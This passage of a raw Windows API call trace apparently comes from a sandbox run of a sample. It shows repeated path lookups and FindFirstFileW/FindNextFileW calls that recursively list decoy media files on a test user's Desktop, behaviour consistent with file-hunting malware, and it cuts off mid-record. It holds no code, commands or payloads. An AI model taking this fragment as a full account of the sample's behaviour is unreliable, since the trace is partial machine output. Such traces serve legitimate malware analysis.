returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\", lpFilePart=0x0) returned 0x2c [0080.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.234] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.234] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d068d0, ftCreationTime.dwHighDateTime=0x1d5d82f, ftLastAccessTime.dwLowDateTime=0x5cbf21c0, ftLastAccessTime.dwHighDateTime=0x1d5e301, ftLastWriteTime.dwLowDateTime=0x5cbf21c0, ftLastWriteTime.dwHighDateTime=0x1d5e301, nFileSizeHigh=0x0, nFileSizeLow=0x2089, dwReserved0=0x0, dwReserved1=0x0, cFileName="-snWIb4hew.mp3", cAlternateFileName="-SNWIB~1.MP3")) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf974bc10, ftCreationTime.dwHighDateTime=0x1d5e463, ftLastAccessTime.dwLowDateTime=0x93562aa0, ftLastAccessTime.dwHighDateTime=0x1d5d887, ftLastWriteTime.dwLowDateTime=0x93562aa0, ftLastWriteTime.dwHighDateTime=0x1d5d887, nFileSizeHigh=0x0, nFileSizeLow=0x10752, dwReserved0=0x0, dwReserved1=0x0, cFileName="5GIHrxIiYYiPtXXN.mp3", cAlternateFileName="5GIHRX~1.MP3")) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7LQmm", cAlternateFileName="")) returned 1 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.235] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.237] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0080.237] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\", lpFilePart=0x0) returned 0x32 [0080.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.237] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.238] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8222cee0, ftCreationTime.dwHighDateTime=0x1d5d9cd, ftLastAccessTime.dwLowDateTime=0x22d94690, ftLastAccessTime.dwHighDateTime=0x1d5e147, ftLastWriteTime.dwLowDateTime=0x22d94690, ftLastWriteTime.dwHighDateTime=0x1d5e147, nFileSizeHigh=0x0, nFileSizeLow=0x151ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="fO4F eExHuau6efJ_9.jpg", cAlternateFileName="FO4FEE~1.JPG")) returned 1 [0080.238] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ba6860, ftCreationTime.dwHighDateTime=0x1d5d802, ftLastAccessTime.dwLowDateTime=0x32514f40, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0x32514f40, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x10ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iVxZ_nA0I7.jpg", cAlternateFileName="IVXZ_N~1.JPG")) returned 1 [0080.238] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cb1ac0, ftCreationTime.dwHighDateTime=0x1d5d8a9, ftLastAccessTime.dwLowDateTime=0x9442ff50, ftLastAccessTime.dwHighDateTime=0x1d5dc2f, ftLastWriteTime.dwLowDateTime=0x9442ff50, ftLastWriteTime.dwHighDateTime=0x1d5dc2f, nFileSizeHigh=0x0, nFileSizeLow=0x1035b, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2DunJF_drBh.png", cAlternateFileName="P2DUNJ~1.PNG")) returned 1 [0080.238] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4b0500, ftCreationTime.dwHighDateTime=0x1d5ddc2, ftLastAccessTime.dwLowDateTime=0xab78150, ftLastAccessTime.dwHighDateTime=0x1d5e343, ftLastWriteTime.dwLowDateTime=0xab78150, ftLastWriteTime.dwHighDateTime=0x1d5e343, nFileSizeHigh=0x0, nFileSizeLow=0x11359, dwReserved0=0x0, dwReserved1=0x0, cFileName="qngnc9_aG tU.mp3", cAlternateFileName="QNGNC9~1.MP3")) returned 1 [0080.238] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5a710, ftCreationTime.dwHighDateTime=0x1d5d924, ftLastAccessTime.dwLowDateTime=0xa51d4fc0, ftLastAccessTime.dwHighDateTime=0x1d5da53, ftLastWriteTime.dwLowDateTime=0xa51d4fc0, ftLastWriteTime.dwHighDateTime=0x1d5da53, nFileSizeHigh=0x0, nFileSizeLow=0xc8d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ri B.flv", cAlternateFileName="RIB~1.FLV")) returned 1 [0080.239] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e54b00, ftCreationTime.dwHighDateTime=0x1d5e35d, ftLastAccessTime.dwLowDateTime=0xc6332900, ftLastAccessTime.dwHighDateTime=0x1d5da53, ftLastWriteTime.dwLowDateTime=0xc6332900, ftLastWriteTime.dwHighDateTime=0x1d5da53, nFileSizeHigh=0x0, nFileSizeLow=0x51b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWDTq4.mp3", cAlternateFileName="")) returned 1 [0080.239] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e54b00, ftCreationTime.dwHighDateTime=0x1d5e35d, ftLastAccessTime.dwLowDateTime=0xc6332900, ftLastAccessTime.dwHighDateTime=0x1d5da53, ftLastWriteTime.dwLowDateTime=0xc6332900, ftLastWriteTime.dwHighDateTime=0x1d5da53, nFileSizeHigh=0x0, nFileSizeLow=0x51b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWDTq4.mp3", cAlternateFileName="")) returned 0 [0080.239] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.239] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bf7220, ftCreationTime.dwHighDateTime=0x1d5ddce, ftLastAccessTime.dwLowDateTime=0x50f4eb60, ftLastAccessTime.dwHighDateTime=0x1d5e73c, ftLastWriteTime.dwLowDateTime=0x50f4eb60, ftLastWriteTime.dwHighDateTime=0x1d5e73c, nFileSizeHigh=0x0, nFileSizeLow=0xa0b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="GmMblWVlwymvyYkREr.wav", cAlternateFileName="GMMBLW~1.WAV")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbf4140, ftCreationTime.dwHighDateTime=0x1d5e1d0, ftLastAccessTime.dwLowDateTime=0x3bf97d90, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x3bf97d90, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x62da, dwReserved0=0x0, dwReserved1=0x0, cFileName="IHn-RVB8NJRiPijtB jU.flv", cAlternateFileName="IHN-RV~1.FLV")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b33660, ftCreationTime.dwHighDateTime=0x1d5e5e3, ftLastAccessTime.dwLowDateTime=0x1d400af0, ftLastAccessTime.dwHighDateTime=0x1d5d938, ftLastWriteTime.dwLowDateTime=0x1d400af0, ftLastWriteTime.dwHighDateTime=0x1d5d938, nFileSizeHigh=0x0, nFileSizeLow=0x15cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="K1WUbvO3Z2qO.swf", cAlternateFileName="K1WUBV~1.SWF")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c7adf0, ftCreationTime.dwHighDateTime=0x1d5de28, ftLastAccessTime.dwLowDateTime=0x89c68500, ftLastAccessTime.dwHighDateTime=0x1d5e7c5, ftLastWriteTime.dwLowDateTime=0x89c68500, ftLastWriteTime.dwHighDateTime=0x1d5e7c5, nFileSizeHigh=0x0, nFileSizeLow=0x39e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ldFE5i.jpg", cAlternateFileName="")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgQPfL", cAlternateFileName="")) returned 1 [0080.240] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.240] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: 